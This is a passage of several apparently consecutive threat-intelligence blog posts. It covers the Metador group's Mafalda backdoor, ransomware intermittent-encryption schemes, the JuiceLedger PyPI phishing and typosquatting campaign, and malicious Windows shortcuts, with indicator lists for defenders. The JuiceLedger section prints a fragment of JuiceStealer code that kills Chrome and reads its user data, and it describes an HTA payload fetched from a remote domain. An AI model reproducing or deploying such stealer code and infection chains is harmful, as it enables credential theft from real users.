Interestingly, we noted that Mafalda prints encrypted debugger messages if the name of the host is WIN-K4C3EKBSMMI, possibly indicating the name of the computer used by the developers.

Encrypted debugger messages
Encrypted debugger messages

If Mafalda successfully establishes a connection to the C2 server, it builds and sends an initial packet containing information about the host environment and the version of Mafalda being run. Mafalda then executes in a loop, exchanging packets with the C2 server.

Each packet is of a given type and subtype, uniquely identified by identification numbers, internally refered to as outer OPC and inner OPC, respectively:

  • Packet of type 0x71 has no impact on the operation of Mafalda.
  • Packet of type 0x72 instructs Mafalda to exit the loop and reconnect to the C2 after a sleep period.
  • Packet of type 0x73 instructs Mafalda that the packet has a subtype:
    • Subtype 0x81 or 0x82 instructs Mafalda to execute the backdoor command with the command identification number stored in the packet.
    • Any other subtype instructs Mafalda to exit the loop and reconnect to the C2 after a sleep period.
Overview of Mafalda Backdoor operation
Overview of Mafalda Backdoor operation

Mafalda Backdoor Commands

The Mafalda backdoor has a total of 67 commands, with 13 of these added in the newer variant, indicating that the Mafalda implant is a maintained, ongoing project.

The full unobfuscated list of commands, along with the developer’s descriptions, are available from our full report. Some of the more interesting commands only available in the newer Mafalda variant include:

  • Command 55 – Copies a file or directory from an attacker-provided source filesystem location to an attacker-provided destination file system location.
  • Command 60 – Reads the content of
    %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State
    

    and sends the content to the C2 with a name prefixed with loot\.

  • Command 63 – Conducts network and system configuration reconnaissance
  • Command 67 – Retrieves data from another implant that resides in the victim’s network and sends the data to the C2

The functionalities of the backdoor commands have a very broad scope and include credential theft, data and information theft, command execution, system registry and file system manipulation, and Mafalda reconfiguration.

Cryshell and Additional Implants

When the TCP KNOCK communication method is enabled, the metaMain and Mafalda implants can establish an indirect connection to the C2 server through another implant. On Windows systems, this implant is internally referred to as ‘Cryshell’. metaMain and Mafalda authenticate themselves to Cryshell through a port-knocking and handshake procedure.

Mafalda authenticates itself to Cryshell
Mafalda authenticates itself to Cryshell

Mafalda also supports retrieval of data from Linux machines with another implant that sends data to the C2 as part of a packet with a name prefixed with loot_linux\. Though it’s possible that this unnamed Linux implant and Cryshell are the same, Mafalda authenticates itself to the Linux implant through a different port-knocking and handshake procedure.

Infrastructure

In all Metador intrusions we’ve observed, the operators use a single external IP address per victim network. That IP is utilized for command-and-control over either HTTP (metaMain, Mafalda) or raw TCP (Mafalda). In all confirmed instances, the servers were hosted on LITESERVER, a Dutch hosting provider.

In addition to HTTP, external Mafalda C2 servers also support raw TCP connections over port 29029. We also observed some of Metador’s infrastructure host an SSH server at an unusual port. While SSH is commonly used for remote access to *nix systems, we find it hard to believe that a mature threat actor would expose their infrastructure in such a way. Instead, it’s likely those were used to tunnel traffic through Mafalda’s internal portfwd commands.

We were able to identify one additional server we believe is operated by Metador actors, also hosted on Liteserver – 5.2.78[.]14. This IP hosts what appears to be a malicious domain, networkselfhelp[.]com, which might have been used as a C2 for Metador intrusions. If so, it’s an indication that Metador operators not only utilize IPs for their intrusions, but also domains.

Attribution

The limited number of intrusions and long-term access to targets suggests that the threat actor’s primary motive is espionage. Moreover, the technical complexity of the malware and its active development suggest a well-resourced group able to acquire, maintain and extend multiple frameworks.

Metador was observed mainly in Telecoms, Internet Service Providers (ISP), and Universities in the Middle East and Africa, and appears intended to provide long-term access in multiple redundant ways.

Mafalda internal documentation suggests the implant is maintained and developed by a dedicated team, leaving comments for a separate group of operators.

Conclusion

Running into Metador is a daunting reminder that a different class of threat actors continues to operate in the shadows with impunity. Previous threat intelligence discoveries have broadened our understanding of the kind of threats that are out there but so far, our collective ability to track these actors remains inconsistent at best. Developers of security products in particular should take this as an opportunity to proactively engineer their solutions towards monitoring for the most cunning, well-resourced threat actors. High-end threat actors are thriving in a market that primarily rewards compliance and perfunctory detections.

From the perspective of the threat intelligence research community, we are deeply grateful for the contributions of the research teams and service providers who have willingly shared their expertise and telemetry for this research.

We hope that this publication will incentivize further collaboration and provide us with answers to the mystery of Metador, and to that end we urge interested researchers to read the full version of this report, where a list Indicators of Compromise can also be found, and its extended Technical Appendix.

Read the Full Report

Crimeware Trends | Ransomware Developers Turn to Intermittent Encryption to Evade Detection

8 September 2022 at 13:29

By Aleksandar Milenkoski & Jim Walter

We observe a new trend on the ransomware scene – intermittent encryption, or partial encryption of victims’ files. This encryption method helps ransomware operators to evade detection systems and encrypt victims’ files faster. We observe that ransomware developers are increasingly adopting the feature and intensively advertising intermittent encryption to attract buyers or affiliates.

Intermittent encryption is important to ransomware operators from two perspectives:

  • Speed: Encryption can be a time-intensive process and time is crucial to ransomware operators – the faster they encrypt the victims’ files, the less likely they are to be detected and stopped in the process. Intermittent encryption does irretrievable damage in a very short time frame.
  • Evasion: Ransomware detection systems may use statistical analysis to detect ransomware operation. Such an analysis may evaluate the intensity of file IO operations or the similarity between a known version of a file, which has not been affected by ransomware, and a suspected modified, encrypted version of the file. In contrast to full encryption, intermittent encryption helps to evade such analyses by exhibiting a significantly lower intensity of file IO operations and much higher similarity between non-encrypted and encrypted versions of a given file.

In mid-2021, the LockFile ransomware was one of the first major ransomware families to use intermittent encryption for evading detection mechanisms, encrypting every other 16 bytes of a file. Since then an increasing number of ransomware operations have joined the trend.

In this post, we review several recent ransomware families that feature intermittent encryption in an attempt to evade detection and prevention: Qyick, Agenda, BlackCat (ALPHV), PLAY, and Black Basta.

Qyick Ransomware

At the end of August 2022, we observed a user named lucrostm advertising a new commercial ransomware called Qyick in a popular TOR-based crime forum. We track the same user as an established vendor of other malicious tools including remote access tools and malware loaders.

The Qyick ransomware offering is a one-time purchase, as opposed to the more common subscription model. The price ranges from .2 BTC to approximately 1.5 BTC, depending on the level of customization the buyer requires. The buyer receives a compiled executable with a guarantee: if the ransomware is detected by security software within 6 months of purchase, the author will provide a new sample with a discount between 60% and 80% of the original price.

Qyick is written in Go and features intermittent encryption. lucrostm claims the apparent speed of the Qyick ransomware is achieved through the use of intermittent encryption and the ransomware’s implementation in Go, hinting at the current trend of intermittent encryption in the ransomware threat scene.

“Notably Qyick features intermittent encryption which is what the cool kids are using as you read this. Combined with the fact that is written in go, the speed is unmatched.”
Qyick ransomware advertisement
Qyick ransomware advertisement

The exact manner in which Qyick conducts intermittent encryption is open to investigation as samples become available.

The current version of Qyick does not have data exfiltration capabilities. However, lucrostm has announced that future versions will feature execution of arbitrary executable code, meant primarily for the execution of data exfiltration capabilities.

Agenda Ransomware

Agenda ransomware, first spotted in August 2022, is written in Go and has been used primarily to target healthcare and education organizations in Africa and Asia. The ransomware has some customization options, which include changing the filename extensions of encrypted files and the list of processes and services to terminate.

Agenda ransomware supports several encryption modes that the ransomware operator can configure through the encryption setting. The ‘help’ screen displays the different encryption modes available: skip-step, percent, and fast.

Agenda ‘Help’ screen, showing the available encryption modes
Agenda ‘Help’ screen, showing the available encryption modes

Our analysis of Agenda revealed the following information about each mode.

Encryption mode Description
skip-step [skip: N, step: Y] Encrypt every Y MB of the file, skipping N MB.
fast [f: N] Encrypt the first N MB of the file.
percent [n: N; p:P] Encrypt every N MB of the file, skipping P MB, where P equals P% of the total file size.

BlackCat (ALPHV), the First Rust Ransomware-As-A-Service

The BlackCat (or ALPHV) ransomware came to prominence in late 2021 and is the first known ransomware to be written in the Rust programming language. The developers behind BlackCat were first spotted advertising its services in early December 2021 on a Russian underground forum.

The original ALPHV/BlackCat forum post
The original ALPHV/BlackCat forum post

The ALPHV threat group runs a ransomware-as-a-service (RaaS) program and shares ransom payments with affiliates. ALPHV uses bulletproof hosting to host their web sites and a Bitcoin mixer to anonymize transactions.

The ALPHV threat group is an early adopter of extortion schemes such as threatening victims with DDoS attacks, leaking exfiltrated data online as well as intimidating employees and customers of victim organizations should they not pay ransom. Major organizations and businesses have been the target of the BlackCat ransomware globally. For example, in September 2022, the BlackCat ransomware targeted Italy’s state-owned energy services firm GSE.

ALPHV Collections: A searchable database of exfiltrated victims’ data
ALPHV Collections: A searchable database of exfiltrated victims’ data

SentinelLabs researcher Aleksandar Milenkoski has reverse-engineered BlackCat ransomware samples and outlined the different encryption modes that BlackCat supports, the majority of which implement intermittent encryption. The table below lists these encryption modes.

Encryption mode Description
Full Encrypt all file content.
HeadOnly [N] Encrypt the first N bytes of the file.
DotPattern [N,Y] Encrypt every N bytes of the file with a step of Y bytes.
SmartPattern [N,P] Encrypt the first N bytes of the file. BlackCat divides the rest of the file into equal-sized blocks, such that each block is 10% of the rest of the file in size. BlackCat encrypts P% of the bytes of each block.
AdvancedSmartPattern [N,P,B] Encrypt the first N bytes of the file. BlackCat divides the rest of the file into B equal-sized blocks. BlackCat encrypts P% of the bytes of each block.
Auto Combinatory file encryption mode. Encrypt the content of the file according to one of the file encryption modes Full, DotPattern [N,Y], and AdvancedSmartPattern [N,P,B]. BlackCat selects and parametrizes a file encryption mode based on the filename extension and the size of the file.

An evaluation study subjecting files of varying sizes (50 MB, 500 MB, 5 GB, and 50 GB) to the BlackCat ransomware revealed that using intermittent encryption can be of significant benefit to threat actors. For example, in contrast to full encryption, encrypting files using the Auto file encryption mode resulted in noticeably reduced wallclock processing time starting at 5 GB file size (8.65 seconds) and a maximum reduction in wallclock processing time of 1.95 minutes at 50 GB file size. Wallclock processing time is the total wallclock time (in seconds) that the ransomware spends on processing a file, which includes reading, encrypting, and writing file content. The full results of this study will be presented at the VirusBulletin Conference 2022.

We also note that BlackCat includes some internal logic for maximizing encryption speed. The ransomware encrypts files using the Advanced Encryption Standard (AES) encryption algorithm if the victim’s platform implements AES hardware acceleration. If not, the ransomware falls back to the ChaCha20 algorithm that is fully implemented in software.

PLAY Ransomware

PLAY ransomware is a new entrant in the ransomware scene and was first spotted at the end of June 2022. The ransomware has recently victimized high profile targets, such as the Court of Córdoba in Argentina in August 2022. PLAY’s ransom note consists of a single word – PLAY –  and a contact email address.

A PLAY ransomware ransom note
A PLAY ransomware ransom note

In contrast to Agenda and BlackCat, PLAY ransomware does not feature encryption modes that can be configured by the operator. PLAY orchestrates intermittent encryption based on the size of the file under encryption, encrypting chunks (file portions) of 0x100000 bytes. For example, previous research states that under certain conditions, the PLAY ransomware encrypts:

  • 2 chunks, if the file size is less than or equal to 0x3fffffff bytes;
  • 3 chunks, if the file size is less than or equal to 0x27fffffff bytes;
  • 5 chunks, if the file size is greater than 0x280000000 bytes.

In our analysis, we observed that a sample encrypted every other 0x100000 byte chunk until the end of the file. The file consisted only of null characters, which effectively makes the encrypted and non-encrypted chunks visually distinguishable.

Partial content of a file encrypted by PLAY
Partial content of a file encrypted by PLAY

Black Basta Ransomware

Black Basta is a RaaS program that emerged in April 2022 with ransomware samples dating back to February 2022. Current intelligence indicates that Black Basta emerged from the crumbled ashes of the Conti operation. The ransomware is written in the C++ programming language and supports Windows and Linux operating systems. Black Basta operators use the double extortion scheme threatening victim organizations with leaking exfiltrated data on the threat group’s TOR-based web site Basta News should the victims not pay ransom.

Black Basta is rapidly gaining ground on the ransomware scene and targets major organizations globally – the ransomware operation reported more than 20 victim organizations on Basta News within the first two weeks of its existence. Targeting, especially early on, was primarily focused on utilities, technology, financial, and manufacturing industries. For example, the major German building materials manufacturer Knauf suffered an attack conducted by Black Basta affiliates at the end of June 2022.

The Basta News web site
The Basta News web site

Like PLAY ransomware, Black Basta does not feature encryption modes that can be configured by the ransomware operator, but orchestrates intermittent encryption based on the size of the file under encryption. Black Basta encrypts:

  • all file content, if the file size is less than 704 bytes;
  • every 64 bytes, starting from the beginning of the file, skipping 192 bytes, if the file size is less than 4 KB;
  • every 64 bytes, starting from the beginning of the file, skipping 128 bytes, if the file size is greater than 4 KB.

Our analysis showed that for a file with a size greater than 4 KB, the Black Basta ransomware encrypted 64 byte portions with an interval of 128 bytes between each, until the end of the file. In similar fashion to PLAY ransomware, the file consisted only of null characters, making the encrypted and non-encrypted chunks visually distinguishable.

Partial content of a file encrypted by Black Basta
Partial content of a file encrypted by Black Basta

Conclusion

Intermittent encryption is a very useful tool to ransomware operators. This encryption method helps to evade some ransomware detection mechanisms and encrypt victims’ files faster. Given the significant benefits to threat actors while also being practical to implement, we estimate that intermittent encryption will continue to be adopted by more ransomware families.

SentinelOne Singularity fully detects these ransomware samples.

Ransomware Samples

Family SHA1
Agenda 5f99214d68883e91f586e85d8db96deda5ca54af
BlackCat 8917af3878fa49fe4ec930230b881ff0ae8d19c9
PLAY 14177730443c70aefeeda3162b324fdedf9cf9e0
Black Basta a996ccd0d58125bf299e89f4c03ff37afdab33fc

PyPI Phishing Campaign | JuiceLedger Threat Actor Pivots From Fake Apps to Supply Chain Attacks

1 September 2022 at 16:00

Executive Summary

  • JuiceLedger is a relativey new threat actor focused on infostealing through a .NET assembly called ‘JuiceStealer’
  • JuiceLedger has rapidly evolved its attack chain from fraudulent applications to supply chain attacks in little over 6 months
  • In August, JuiceLedger conducted a phishing campaign against PyPI contributors and successfully compromised a number of  legitimate packages
  • Hundreds of typosquatting packages delivering JuiceStealer malware have been identified
  • At least two packages with combined downloads of almost 700,000 were compromised
  • PyPI says that known malicious packages and typosquats have now been removed or taken down

Overview

SentinelLabs, in collaboration with Checkmarx, has been tracking the activity and evolution of a threat actor dubbed “JuiceLedger”. In early 2022, JuiceLedger began running relatively low-key campaigns, spreading fraudulent Python installer applications with ‘JuiceStealer’, a .NET application designed to steal sensitive data from victims’ browsers. In August 2022, the threat actor engaged in poisoning open-source packages as a way to target a wider audience with the infostealer through a supply chain attack, raising the threat level posed by this group considerably.

JuiceLedger operators have actively targeted PyPi package contributors in a phishing campaign, successfully poisoning at least two legitimate packages with malware. Several hundred more malicious packages are known to have been typosquatted.

In this post, we detail the evolution of JuiceLedger, describe the group’s attack vectors and activity, and provide an analysis of the JuiceStealer payload.

Dual Pronged Attack – Fake Apps and Supply Chain Attacks

The supply chain attack on PyPi package contributors appears to be an escalation of a campaign begun earlier in the year which initially targeted potential victims through fake cryptocurrency trading applications, among them a bot the threat actors marketed as an “AI Crypto trading bot” named “The Tesla Trading bot”.

The attack on PyPI in August involves a far more complex attack chain, including phishing emails to PyPI developers, typosquatting, and malicious packages intended to infect downstream users with the JuiceStealer malware. This vector seems to be utilized in parallel to the earlier JuiceLedger infection method, as similar payloads were delivered around the same time through fake cryptocurrency ledger websites.

Targeting PyPI Contributors

On August 24, 2022, PyPi published details of an ongoing phishing campaign targeting PyPi users. According to their report, this is the first known phishing attack against PyPI. The phishing email states that a mandatory ‘validation’ process requires the contributor to validate their package or risk having it removed from PyPI.

PyPI supply chain attack phishing email
Example of a phishing email sent to PyPI contributors. Source: PyPI via Twitter

The phishing emails point victims to a Google site’s landing page mimicking the PyPI login page. The credentials provided there were sent to a known JuiceLedger domain: linkedopports[.]com.

PyPi Phishing site.Source: PyPI via Twitter

Some of those phishing attacks appear to have been successful, leading to the compromise of legitimate code packages whose contributors credentials were compromised.

PyPI also reported that they had found a number of typosquatting packages that conformed to a similar pattern; JuiceLedger has also used typosquatting to deliver its malicious applications.

Typosquatting popular code packages is nothing new. Reports of similar attacks have emerged during the last few years, including the CrateDepression campaign targeting Rust developers and recently reported by SentinelLabs.

Compromised packages uploaded by JuiceLedger in the August campaign contain a short code snippet, responsible for downloading and executing a signed variant of JuiceStealer. The malicious code added is depicted below.

Malicious code snippet. Source: Checkmarx

The code snippet added to those packages is quite similar to the ones added in the typosquatting packages. According to PyPI, the malicious code snippets were found on the following packages:

 exotel==0.1.6
 spam==2.0.2 and ==4.0.2

A look at the code snippet from compromised packages suggests that the actors added an indication of the compromised package in the registration URL.

A snippet from exotel poisoned code. Source: PyPi via Twitter

JuiceLedger’s August campaign also contained a Ledger-themed fraudulent application. Users of Ledger, a hardware “cold storage” wallet technology for crypto assets, have been targeted with a digitally-signed version of JuiceStealer embedded in fake Ledger installation packs.

Certificate used to sign JuiceStealer malware
Certificate used to sign JuiceStealer malware

The certificate 13CFDF20DFA846C94358DBAC6A3802DC0671EAB2 was used to sign a total of four samples, one of which appears to be unrelated, although all are malicious.

Analysis of JuiceStealer Malware

JuiceLedger’s infostealer, dubbed JuiceStealer, is a relatively simple .NET application, internally named “meta”. First indications of the stealer started emerging in February this year. Over several iterations, the infostealer was embedded in a number of fraudulent applications and installers.

Python Installers

The first version of JuiceStealer (d249f19db3fe6ea4439f095bfe7aafd5a0a5d4d2), uploaded to VirusTotal on February 13, appears to be incomplete and may be a test submitted by the developers. It is the first in a set of variants mimicking Python installers.

This sample iterates over processes containing the word “chrome”, shuts them down and then searches for Google Chrome Extension log files. The infostealer iterates over logs that contain the word “vault”, possibly searching for cryptocurrency vaults, and reports back to an embedded C2 server over HTTP.

private static void Main(string[] args)
{
  Console.WriteLine("Please wait while Python installs...");
  string[] directories = Directory.GetDirectories("C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Google\\Chrome\\User Data");
  foreach (Process process in Process.GetProcessesByName("chrome"))
  process.Kill();
  Thread.Sleep(2500);
  Console.WriteLine("Python is almost ready...");

A fully fledged version of the fraudulent installer was submitted a few days later as part of a zip file named “python-v23.zip” (1a7464489568003173cd048a3bad41ca32dbf94f), containing a newer version of the infostealer, a legitimate Python installer and an instruction file, “INSTRUCTIONS.exe”.

Fake Python installer instructions file

This version of the infostealer introduces a new class, named ‘Juice’ (hence the name), and also searches for Google Chrome passwords, querying Chrome SQLite files. It also launches a Python installer contained in the zip named “config.exe”. Naming legitimate software “config.exe” appears to be common in various JuiceStealer variants.

Like many of the JuiceStealer samples we analyzed, it was compiled as a self-contained .NET app. This makes the files significantly larger.

A pdb path common to many earlier versions of the JuiceStealer contains the user name “reece” and internal project name “meta”.

C:\Users\reece\source\repos\meta\meta\obj\Release\netcoreapp3.1\win-x86\meta.pdb

Evolution of JuiceStealer

Pivoting off the pdb paths observed, we were able to link additional activities to JuiceLedger. Those, together with our additional findings of the development phases of JuiceStealer, suggest the group began operating in late 2021.

Pre-JuiceStealer Fake Installers

On January 30, a set of three fake installers compiled as self-contained applications were uploaded to VirusTotal from the submitter f40316fe, located in GB. The same submitter also uploaded the first variant of JuiceStealer, which also appears to be a test. All the fake installers had a similar pdb path, containing the username “reece”, and appear to be the threat actor’s first iterations of the JuiceStelaer.

C:\Users\reece\source\repos\install-python\install-python\obj\Release\netcoreapp3.1\win-x86\install-python.pdb

Nowblox Scam Website

Throughout the research, we came across a possible connection to Nowblox, a scam website that operated in 2021, offering free Robux. Several applications named “Nowblox.exe” were systematically uploaded to VirusTotal from submitters in GB, all with the following pdb path:

C:\\Users\\reece\\source\\repos\\Nowblox\\Nowblox\\obj\\Debug\\Nowblox.pdb

While the path on its own is not a very strong indication, we came across another link to Nowblox in our research, in the form of a file named “NowbloxCodes.iso”(5eb92c45e0700d80dc24d3ad07a7e2d5b030c933). The use of an ISO file might suggest it was sent out in a phishing email, as ISO files have become a popular attack vector for bypassing email security products. However, we have no data to validate this.

The file contains an LNK file (e5286353dec9a7fc0c6db378b407e0293b711e9b), triggering the execution of an obfuscated PowerShell command, which in turn runs mstha to load an .HTA file from hxxps://rblxdem[.]com/brace.hta, which is currently offline.

The domain rblxdem[.]com is hosted on 45.153.35[.]53, which was used to host several Ledger phishing domains as well as a JuiceStealer C2 domain thefutzibag[.]com, providing another possible link to JuiceLedger.

Fraudulent Apps – The Tesla Trading Bot

Over time, JuiceLedger operators started using direct crypto-themed fraudulent applications, among them, an application they named “Tesla Trading bot”. Delivered in a similar scheme to the Python installer, it was embedded within a zip file with additional legitimate software. The JuiceStealer has evolved significantly during this period, adding support both for additional browsers as well as Discord.

The embedded instructions message is very similar to the one found in the fake Python installer, prompting users to disable their security solutions.

JuiceLedger installer urges users to bypass their own security

While the delivery mechanism remains unclear, it seems JuiceLedger operators maintained a website for the fake trading bot, prompting users to download the fraudulent application.

Download site for malicious Tesla Trading bot

PyPI Response

PyPI have stated that they are actively reviewing reports of malicious packages and have taken down several hundred typosquats. Package maintainers are urged to use 2FA authorization on their accounts where available and to confirm that the URL in the address bar is http://pypi.org when entering credentials. Users can also check that the site’s TLS certificate is issued to pypi.org.

Maintainers who believe they may have been victim of a JuiceLedger attack are advised to reset passwords immediately and to report any suspicious activity to [email protected]

Conclusion

JuiceLedger appears to have evolved very quickly from opportunistic, small-scale infections only a few months ago to conducting a supply chain attack on a major software distributor. The escalation in complexity in the attack on PyPI contributors, involving a targeted phishing campaign, hundreds of typosquatted packages and account takeovers of trusted developers, indicates that the threat actor has time and resources at their disposal.

Given the widespread use of PyPI and other open source packages in enterprise environments, attacks such as these are a cause of concern and security teams are urged to review the provided indicators and take appropriate mitigation measures.

Indicators of Compromise

Fake Python installers
90b7da4c4a51c631bd0cbe8709635b73de7f7290
dd569ccfe61921ab60323a550cc7c8edf8fb51d8
97c541c6915ccbbc8c2b0bc243127db9b43d4b34
f29a339e904c6a83dbacd8393f57126b67bdd3dd
71c849fc30c1abdb49c35786c86499acbb875eb5
2fb194bdae05c259102274300060479adf3b222e

Nowblox ISO file
5eb92c45e0700d80dc24d3ad07a7e2d5b030c933
e5286353dec9a7fc0c6db378b407e0293b711e9b

CryptoJuice Samples

SHA1 Submission Date Domain
cbc47435ccc62006310a130abd420c5fb4b278d2 2022-08-24 11:00:45 linkedopports[.]com
8bbf55a78b6333ddb4c619d615099cc35dfeb4fb 2022-08-24 10:59:40 linkedopports[.]com
bac2d08c542f82d8c8720a67c4717d2e70ad4cd9 2022-08-23 21:34:01 linkedopports[.]com
567e1d5aa3a409a910631e109263d718ebd60506 2022-08-23 21:33:58 linkedopports[.]com
1e697bc7d6a9762bfec958ee278510583039579c 2022-08-23 21:32:31 linkedopports[.]com
ea14f11e0bd36c2d036244e0242704f3cf721456 2022-08-20 13:29:20 ledgrestartings[.]com
5703ed6565888f0b06fffcc40030ba679936d29f 2022-08-20 13:25:59 ledgrestartings[.]com
cd0b8746487d7ede0ec07645fd4ec655789c675b 2022-08-18 08:43:43 python-release[.]com
d3ed1c7c0496311bb7d1695331dc8d3934fbc8ec 2022-08-18 08:33:28 python-release[.]com
0a6731eba992c490d85d7a464fded2379996d77c 2022-08-18 08:32:00 python-release[.]com
a30df748d43fbb0b656b6898dd6957c686e50a66 2022-08-08 00:10:52 python-release[.]com
52b7e42e44297fdcef7a4956079e89810f64e113 2022-08-08 00:07:36 python-release[.]com
aa8c4dffeeacc1f7317b2b3537d2962e8165faa2 2022-08-05 10:19:20 thefutzibag[.]com
a6348aea65ad01ee4c7dd70b0492f308915774a3 2022-08-05 10:06:04 thefutzibag[.]com
b305c16cb2bc6d88b5f6fe0ee889aaf8674d686e 2022-05-04 03:15:56 ledge-pc[.]com
666e5554ccdafcb37a41f0623bb9acc53851d84f 2022-04-06 10:45:39 trezsetup[.]com
463897fa2dd2727a930b8f3397d10a796b6aa0d6 2022-04-06 10:38:24 trezsetup[.]com
e2e239f40fdb2e5bf9d37b9607b152f173db285c 2022-03-30 04:58:00 axiesinfintity[.]com
c0e3c2436e225f7d99991a880bf37d32ff09c5bd 2022-03-27 18:14:18 axiesinfintity[.]com
6f3c5a06d1a53fac45182e76897e7eab90d4a186 2022-03-22 09:08:18 campus-art[.]com
bd7eb97b3dc47e72392738d64007df5fc29de565 2022-03-21 15:10:01 campus-art[.]com
de4596669f540b8bd34aa7cbf50e977f04f3bba3 2022-03-20 22:07:30 teslatradingbot[.]com
55ba11f522532d105f68220db44392887952e57b 2022-03-14 05:02:04 barkbackbakery[.]com
9e9c6af67962b041d2a87f2abec7a068327fa53a 2022-03-13 05:01:47 barkbackbakery[.]com
ed9a4ce2d68d8cc9182bb36a46d35a9a8d0510cb 2022-03-06 23:21:48 capritagworld[.]com
f10006f7b13e4746c2293a609badd2d4e5794922 2022-03-06 23:14:04 capritagworld[.]com
f07954ba3932afd8ad7520c99a7f9263aa513197 2022-03-06 17:29:24 teslatradingbot[.]com
56e3421689d65e78ff75703dd6675956b86e09e8 2022-03-05 22:53:42 ideasdays[.]com
004c66532c49cb9345fc31520e1132ffc7003258 2022-03-05 21:01:36 ideasdays[.]com
6fe5f25205679e148b7b93f1ae80a659d99c7715 2022-03-04 18:35:32 teslatradingbot[.]com
964e29e877c65ff97070b7c06980112462cd7461 2022-03-02 02:08:58 teslatradingbot[.]com
225638350f089ee56eae7126d048b297fce27b7d 2022-02-28 19:30:23 hitwars[.]com
9fb18a3426efa0034f87dadffe06d490b105bda3 2022-02-28 19:23:51 hitwars[.]com
a78dd3cd9569bd418d5db6f6ebf5c0c5e362919b 2022-02-18 22:53:42 barkbackbakery[.]com
d249f19db3fe6ea4439f095bfe7aafd5a0a5d4d2 2022-02-13 07:10:09 barkbackbakery[.]com

Who Needs Macros? | Threat Actors Pivot to Abusing Explorer and Other LOLBins via Windows Shortcuts 

4 August 2022 at 15:10

By Aleksandar Milenkoski & Jim Walter

Executive Summary

  • Windows Explorer (explorer.exe) is the top initial living-off-the-land binary (LOLbin) in the chain of LOLbins that threat actors abuse to execute malware through malicious Windows shortcuts (LNK files).
  • Our mass-analysis of 27510 representative malicious LNK files from VirusTotal revealed Windows Explorer at the top of the list (with 87.2% prevalence), followed by powershell.exe(7.3%), wscript.exe(4.4%), and rundll32.exe(0.5%). LNK files are currently immensely popular among threat actors for malware deployment and persistence.
  • We have observed intensive advertising of new versions of the mLNK and QuantumBuilder tools for building malicious LNK files in the cybercrime web space since May 2022, with many new features for evasion and stealth.
  • The mLNK and QuantumBuilder tools enable threat actors to build malicious LNK files in a configurable and convenient manner. Given the popularity of LNK files among threat actors, there is an increasing demand for such tools on the cybercrime market.
  • The actors behind the QuantumBuilder tool for building malicious LNK files advertise the tool and the value of LNK files to threat actors by claiming that Office macros “are for the most part dead” [as a medium for deploying malware], referring to Microsoft’s recent decision to disable by default Office macro execution in the context of documents that originate from untrusted sources.

Overview

This article discusses Windows shortcuts (LNK files) as a medium to deploy malware and/or establish persistence. In the initial stages of an attack, threat actors are gravitating more towards the use of malicious shortcuts that deploy malware by executing code in the context of so-called living-off-the-land binaries (LOLbins) – legitimate executables that are readily available on Windows systems, such as powershell.exeor mshta.exe – to bypass detection. Threat actors conveniently build malicious LNK files with Windows system capabilities or tools specifically designed for that purpose, and then distribute the files to victims, usually through phishing emails.

Because of these advantages, threat actors are widely abusing shortcuts. Since Microsoft’s announcement that Office applications will by default disable the execution of Office macros in the context of documents that originate from untrusted sources, there has been a significant uptick in malicious actors using alternative mediums for deploying malware, such as malicious Windows Apps and shortcuts (LNK files). We covered malicious Windows Apps in a previous article. In this article, we focus on malicious shortcuts and provide:

  • Insights about execution chains that originate from malicious shortcuts. We base our insights on an analysis of 27510 malicious LNK file samples from VirusTotal that are representative of the current malicious shortcut landscape.
  • An overview of active widespread attack campaigns that involve malicious shortcuts and of the dynamics of the cybercrime market for tools that build malicious LNK files.
  • A summarizing overview of the system activities that take place when a user executes a malicious shortcut. This enables a better and generic understanding of what occurs on a system when a user falls prey to an attack that involves a malicious LNK file.

Current Developments in the Malicious Shortcut Threat Scene

Given the popularity of LNK files among threat actors, the dynamics of the cybercrime market for tools has quickly adjusted to serve the demand for tools that build malicious LNK files in a configurable and convenient manner. We spotlight in this section the mLNK and QuantumBuilder tools for building malicious LNK files. We observed that these tools have recently received updates and are currently being intensively advertised in the cybercrime web space.

mLNK

The mLNK tool – released by NativeOne, a tool vendor on the cybercrime scene – is known for its configurability and ease of use. NativeOne released the newest version of the tool, version 4.2, in June 2022. We observed an intensive advertising campaign for the new mLNK version on cybercrime forums and market places.

The NativeOne ‘exploit website’
The NativeOne ‘exploit website’

The new mLNK version brings new features that enable building LNK files that can evade Windows detection mechanisms, such as Microsoft Defender SmartScreen. The public release of mLNK currently sells for a basic price of $100 per month. NativeOne also sells a private release of mLNK 4.2 for $125.00, which bundles more evasion mechanisms than the $25.00 cheaper public release of the tool.

Purchase page of mLNK
Purchase page of mLNK
Advertising page of mLNK 4.2 features
Advertising page of mLNK 4.2 features

QuantumBuilder

Similar to mLNK, the QuantumBuilder tool is configurable and easy to use, enabling threat actors to conveniently create malicious LNK files. In May 2022, we started observing an advertising campaign for a new QuantumBuilder version in the cybercrime web space, consistent with other reports.

The QuantumBuilder’s window for building a malicious shortcut
The QuantumBuilder’s window for building a malicious shortcut

The actors behind the QuantumBuilder tool distinguish between public, VIP, and private users, and sell the tool for a basic price of €189. The following figure depicts the price list of QuantumBuilder as advertised online, including the advantages of becoming a VIP or private QuantumBuilder user.

The price list of QuantumBuilder
QuantumBuilder price list

It is interesting to note that the actors behind QuantumBuilder advertise the tool by claiming that Office macros as a medium for deploying malware “are for the most part dead”, referring to Microsoft’s decision to disable by default Office macro execution in the context of documents that originate from untrusted sources.

Advertisement of QuantumBuilder
QuantumBuilder advertisement

Active Attack Campaigns Leveraging Shortcuts

A number of widespread attack campaigns that involve malicious shortcuts are active at the time of writing this article:

  • Threat actors have started intensively distributing the major malware families QBot, Emotet, IcedID, and Bumblebee through LNK files since the second quarter of 2022. These malware families are capable of deploying additional malware on compromised systems, including destructive ransomware. In addition, the Threat Analysis Group (TAG) at Google has observed Exotic Lily, an initial access broker (IAB) for ransomware actors, distributing malicious LNK files to infect systems.
  • Threat actors have been massively deploying the Raspberry Robin worm on systems through malicious LNK files since September 2021. These attacks specifically involve infected USB media, containing malicious LNK files.
  • There are several Ukraine-themed attack campaigns as well as attack campaigns specifically targeting Ukrainian systems that are active since the second quarter of 2022. The Armageddon threat group, which the Security Service of Ukraine identifies as a unit of the Federal Security Service of the Russian Federation, has been distributing malicious LNK files through targeted phishing emails. The malicious LNK files deploy the GammaLoad.PS1_v2 malware on compromised systems. There are also other Ukraine-themed malicious LNK files currently in circulation. In addition, the GlowSand attack campaign includes malicious LNK files that download payloads from attacker-controlled endpoints that respond only to requests from systems with Ukrainian IP addresses.

How Threat Actors Are Abusing Shortcuts

